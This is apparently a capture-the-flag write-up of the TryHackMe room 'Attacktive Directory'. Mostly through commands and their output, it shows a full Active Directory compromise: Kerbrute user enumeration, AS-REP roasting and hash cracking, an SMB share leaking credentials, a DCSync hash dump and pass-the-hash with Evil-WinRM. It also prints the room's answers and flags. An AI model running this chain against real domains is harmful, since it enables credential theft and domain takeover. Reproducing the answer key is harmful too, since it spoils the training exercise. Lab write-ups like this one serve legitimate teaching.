ATTACKTIVE DIRECTORY | THM WRITEUPS | BY JO3HUNT3R

ATTACKTIVE DIRECTORY | THM WRITEUPS | BY JO3HUNT3R

Room Overview

Attacktive Directory is an intermediate-level TryHackMe room that focuses on **Active Directory penetration testing**. The room provides a hands-on approach to understanding and exploiting common vulnerabilities in Windows Active Directory environments, which are prevalent in corporate networks worldwide.

Learning Objectives

This room is designed to teach participants:

- **Active Directory fundamentals** and key components
- **Enumeration techniques** for AD environments
- **Kerberos-based attacks** including AS-REP Roasting
- **SMB share enumeration** and analysis
- **Credential dumping** methods including secretsdump
- **Lateral movement** and privilege escalation in AD
- **Pass-the-Hash attacks** for authentication bypass

Key Concepts Covered

- **Kerbrute**: Tool for Kerberos-based user enumeration
- **Impacket Suite**: Python tools for network protocols and AD exploitation
- **Hash Cracking**: Using tools like John the Ripper or Hashcat
- **DCSync Attacks**: Extracting password hashes from Domain Controllers
- **Evil-WinRM**: Windows Remote Management for post-exploitation
- **NTLM Hashes**: Understanding and exploiting Windows authentication hashes

Scenario

The room presents a realistic corporate environment with a vulnerable Active Directory setup. Participants start with zero knowledge about the domain and progressively work through the attack chain from initial enumeration to full domain compromise, ultimately obtaining flags from multiple user accounts.

Importance

Active Directory is used by over 90% of Fortune 500 companies, making these attack techniques highly relevant for both red teamers and blue team defenders. Understanding these methodologies is crucial for modern network security assessments and defense strategies.

Prerequisites

- Basic knowledge of Windows systems
- Familiarity with command-line tools
- Understanding of basic networking concepts
- Experience with common penetration testing tools

Task 01: Enumeration
Initial Nmap Scanning

Basic enumeration begins with an Nmap scan, a sophisticated utility refined over years to detect open ports, running services, and operating systems. However, Nmap has limitations - it cannot fully enumerate all services or detect everything accurately. Therefore, after initial Nmap scanning, additional specialized tools are required for comprehensive service enumeration.
`# Command Used nmap -p 88,135,139,389,445 -sV -sC -iL 10.10.218.39`
`Nmap scan report for 10.10.105.208`
`Host is up (0.36s latency).`

`PORT STATE SERVICE VERSION`
`88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-07 16:46:53Z)`
`135/tcp open msrpc Microsoft Windows RPC`
`139/tcp open netbios-ssn Microsoft Windows netbios-ssn`
`389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)`
`445/tcp open microsoft-ds?`
`Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows`

Also the enum4linux tool used for enumeration,
`enum4linux-ng -A 10.10.218.39 -oA dresults.txt`

Answers to Task Questions

1. What tool will allow us to enumerate port 139/445?
   Answer: **enum4linux**
2. What is the NetBIOS-Domain Name of the machine?
   `============================================================`
   `| NetBIOS Names and Workgroup/Domain for 10.10.218.39 |`

```
=============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: ATTACKTIVEDIREC
NetBIOS domain name: THM-AD
DNS domain: spookysec.local
```

Answer: **THM-AD**

3. What invalid TLD do people commonly use for their Active Directory Domain?

```
=====================================================
| Domain Information via LDAP for 10.10.218.39 |
=====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: spookysec.local
```

Answer: **.local**

Task 02: Enumerating Users via Kerberos

Kerbrute User Enumeration Results

Command Used:

```
./kerbrute userenum -d spookysec.local --dc 10.10.218.39 userlists.txt
```

```
__ __ __
/ /_____ / / _______ / // //_/ _ / / __ / / / / / __/ _/ ,< / __/ / / // / / / // /
// __///||_// /.// _,/_/___/

Version: v1.0.3 (9dad6e1) - 10/07/25 - Ronnie Flathers @ropnop

2025/10/07 20:13:54 > Using KDC(s):
2025/10/07 20:13:54 > 10.10.105.208:88

2025/10/07 20:13:56 > [+] VALID USERNAME: james@spookysec.local
2025/10/07 20:14:22 > [+] VALID USERNAME: svc-admin@spookysec.local
2025/10/07 20:14:33 > [+] VALID USERNAME: James@spookysec.local
2025/10/07 20:14:42 > [+] VALID USERNAME: robin@spookysec.local
2025/10/07 20:15:51 > [+] VALID USERNAME: darkstar@spookysec.local
2025/10/07 20:16:33 > [+] VALID USERNAME: administrator@spookysec.local
2025/10/07 20:18:16 > [+] VALID USERNAME: backup@spookysec.local
2025/10/07 20:18:52 > [+] VALID USERNAME: paradox@spookysec.local
2025/10/07 20:21:14 > [+] VALID USERNAME: JAMES@spookysec.local
2025/10/07 20:22:15 > [+] VALID USERNAME: Robin@spookysec.local
2025/10/07 20:28:27 > [+] VALID USERNAME: Administrator@spookysec.local
2025/10/07 20:39:35 > [+] VALID USERNAME: Darkstar@spookysec.local
2025/10/07 20:42:50 > [+] VALID USERNAME: Paradox@spookysec.local
2025/10/07 20:52:48 > [+] VALID USERNAME: DARKSTAR@spookysec.local
2025/10/07 20:57:05 > [+] VALID USERNAME: ori@spookysec.local
```

```
2025/10/07 21:04:36 > [+] VALID USERNAME: ROBIN@spookysec.local
2025/10/07 21:17:15 > Done! Tested 73317 usernames (16 valid) in 3801.309 seconds
```

Answers to Task Questions:

1. What command within Kerbrute will allow us to enumerate valid usernames?
   Answer: **userenum**
2. What notable account is discovered? (These should jump out at you)
   Answer: **svc-admin**
3. What is the other notable account is discovered? (These should jump out at you)
   Answer: **backup**

Task 03: Exploitation - Abusing Kerberos (AS-REP Roasting)

AS-REP Roasting Attack Results

Command used:

```
[root@parrot]─[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
└──╼ #python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py spookysec.local/ -no-pass -usersfile valid_users.txt -dc-ip 10.10.218.39 -outputfile hashes.txt
Impacket v0.11.0 - Copyright 2023 Fortra

┌─[root@parrot]─[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
└──╼ #john --wordlist=passwdlists.txt --format=krb5asrep hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
management2005 ($krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL)
1g 0:00:00:00 DONE (2025-10-07 20:45) 1.724g/s 12358p/s 12358c/s 12358C/s horoscope..frida
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌─[root@parrot]─[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
└──╼ #john --show hashes.txt
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:management2005

1 password hash cracked, 0 left
```

Answers to Task Questions:

1. We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?
   Answer: **svc-admin**

2. Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)
   Answer: **Kerberos 5 AS-REP etype 23**
3. What mode is the hash?
   Answer: **18200**
4. Now crack the hash with the modified password list provided, what is the user accounts password?
   Answer: **management2005**

Task 04: Enumeration - Back to Basics

SMB Share Enumeration Results

Commands Used:

```
┌─[root@parrot]─[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
└──╼ #smbclient -L 10.10.105.208 -U svc-admin
Password for [WORKGROUP\svc-admin]:

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
backup          Disk
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
SYSVOL          Disk      Logon server share

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.105.208 failed (Error
NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
[root@parrot]─[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
└──╼ #smbclient [//10.10.218.39/backup](//10.10.218.39/backup) -U svc-admin
Password for [WORKGROUP\svc-admin]:
Try "help" to get a list of possible commands.
smb: > ls
. D 0 Sat Apr 4 22:08:39 2020
.. D 0 Sat Apr 4 22:08:39 2020
backup_credentials.txt A 48 Sat Apr 4 22:08:53 2020

    8247551 blocks of size 4096. 3584600 blocks available

smb: > get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.0
KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: > exit
┌─[root@parrot]─[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
```

```
└──╼ #ls
backup_credentials.txt hosts.txt results.txt.yaml
CrackMapExec kerbrute story.txt
dhosts.txt Mouse_and_Malware.txt userlists.txt
dresults.txt.json passwdlists.txt users.txt
dresults.txt.yaml queryuser user.txt
flag.txt queryusergroups valid_users.txt
hashes.txt results.txt.json
┌─[root@parrot]─[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
└──╼ #cat backup_credentials.txt
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw┌─[root@parrot]─[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
└──╼ #echo "YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw" | base64 -d
backup@spookysec.local:backup2517860
```

Answers to Task Questions:

1.What utility can we use to map remote SMB shares?

Answer: **smbclient**

2. Which option will list shares?

Answer: **-L**

3. How many remote shares is the server listing?

Answer: 6

4. There is one particular share that we have access to that contains a text file. Which share is it?

Answer: **backup**

5. What is the content of the file?

Answer: **YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw**

6. Decoding the contents of the file, what is the full contents?

Answer: **backup@spookysec.local:backup2517860**

Task 05: Domain Privilege Escalation

DCSync Attack Results

Command Used:

```
[root@parrot]─[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
└──╼ #python3 /usr/share/doc/python3-impacket/examples/secretsdump.py spookysec.local/backup:backup2517860@10.10.218.39
Impacket v0.11.0 - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
```

`spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::`
`spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::`
`spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::`
`spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::`
`spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::`
`spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::`
`spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::`
`spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::`
`spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::`
`spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::`
`spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::`
`spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::`
`spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::`
`spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::`
`ATTACKTIVEDIREC` KaTeX parse error: Undefined control sequence: \skidy at position 530: … spookysec.local\skidy:aes256-cts-hma… `:aes256-cts-hmac-sha1-96:62eb8ab54410f158921d383ba4107a9be479a95a303d6ed2abc09954611081af`
`ATTACKTIVEDIREC`: $aes128 - cts - hmac - sha1 - 96 : 48574154de8b17b97202019a1228a0acATTACKTIVEDIREC$ `:des-cbc-md5:9426b6febf6dc2ab`
`[*] Cleaning up...`

Answers to Task Questions:

1. What method allowed us to dump NTDS.DIT?
   Answer: **DRSUAPI**
2. What is the Administrators NTLM hash?
   Answer: **0e0363213e37b94221497260b0bcb4fc**

3. What method of attack could allow us to authenticate as the user without the password?
   Answer: **Pass the Hash (PtH)**
4. Using a tool called Evil-WinRM what option will allow us to use a hash?
   Answer: -H

Task 06: Flag Submission

Flags Collected from User Desktops

Commands Used:

```
┌─[root@parrot]─[/home/jw/Desktop/ACTIVE DIRECTORY/THM]
└──╼ #evil-winrm -i 10.10.218.39 -u Administrator -H
0e0363213e37b94221497260b0bcb4fc

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\Administrator\Documents> cd ..
Evil-WinRM PS C:\Users\Administrator> ls
Evil-WinRM PS C:\Users\Administrator> cd Desktop
Evil-WinRM PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop

Mode LastWriteTime Length Name

-a---- 4/4/2020 11:39 AM 32 root.txt
Evil-WinRM PS C:\Users\Administrator\Desktop> cat root.txt
TryHackMe{4ctiveD1rectoryM4st3r}
Evil-WinRM PS C:\Users\Administrator\Desktop> cd ..
Evil-WinRM PS C:\Users\Administrator> cd ..
Evil-WinRM PS C:\Users> cd svc-admin
Evil-WinRM PS C:\Users\svc-admin> ls
Evil-WinRM PS C:\Users\svc-admin> cd Desktop
Evil-WinRM PS C:\Users\svc-admin\Desktop> ls

Directory: C:\Users\svc-admin\Desktop

Mode LastWriteTime Length Name
```

```
-a---- 4/4/2020 12:18 PM 28 user.txt.txt
```

```
Evil-WinRM PS C:\Users\svc-admin\Desktop> cat user.txt.txt
TryHackMe{K3rb3r0s_Pr3_4uth}
Evil-WinRM PS C:\Users\svc-admin\Desktop> cd ..
Evil-WinRM PS C:\Users\svc-admin> cd ..
Evil-WinRM PS C:\Users> cd backup
Evil-WinRM PS C:\Users\backup> cd Desktop
Evil-WinRM PS C:\Users\backup\Desktop> ls
```

```
Directory: C:\Users\backup\Desktop
```

```
Mode LastWriteTime Length Name
```

```
-a---- 4/4/2020 12:19 PM 26 PrivEsc.txt
```

```
Evil-WinRM PS C:\Users\backup\Desktop> cat PrivEsc.txt
TryHackMe{B4ckM3UpSc0tty!}
Evil-WinRM PS C:\Users\backup\Desktop>
```

Flags Found:

1. svc-admin Flag:

Location: `C:\Users\svc-admin\Desktop\user.txt.txt`
Flag: `TryHackMe{K3rb3r0s_Pr3_4uth}`

2. backup Flag:

Location: `C:\Users\backup\Desktop\PrivEsc.txt`
Flag: `TryHackMe{B4ckM3UpSc0tty!}`

3. Administrator Flag:

Location: `C:\Users\Administrator\Desktop\root.txt`
Flag: `TryHackMe{4ctiveD1rectoryM4st3r}`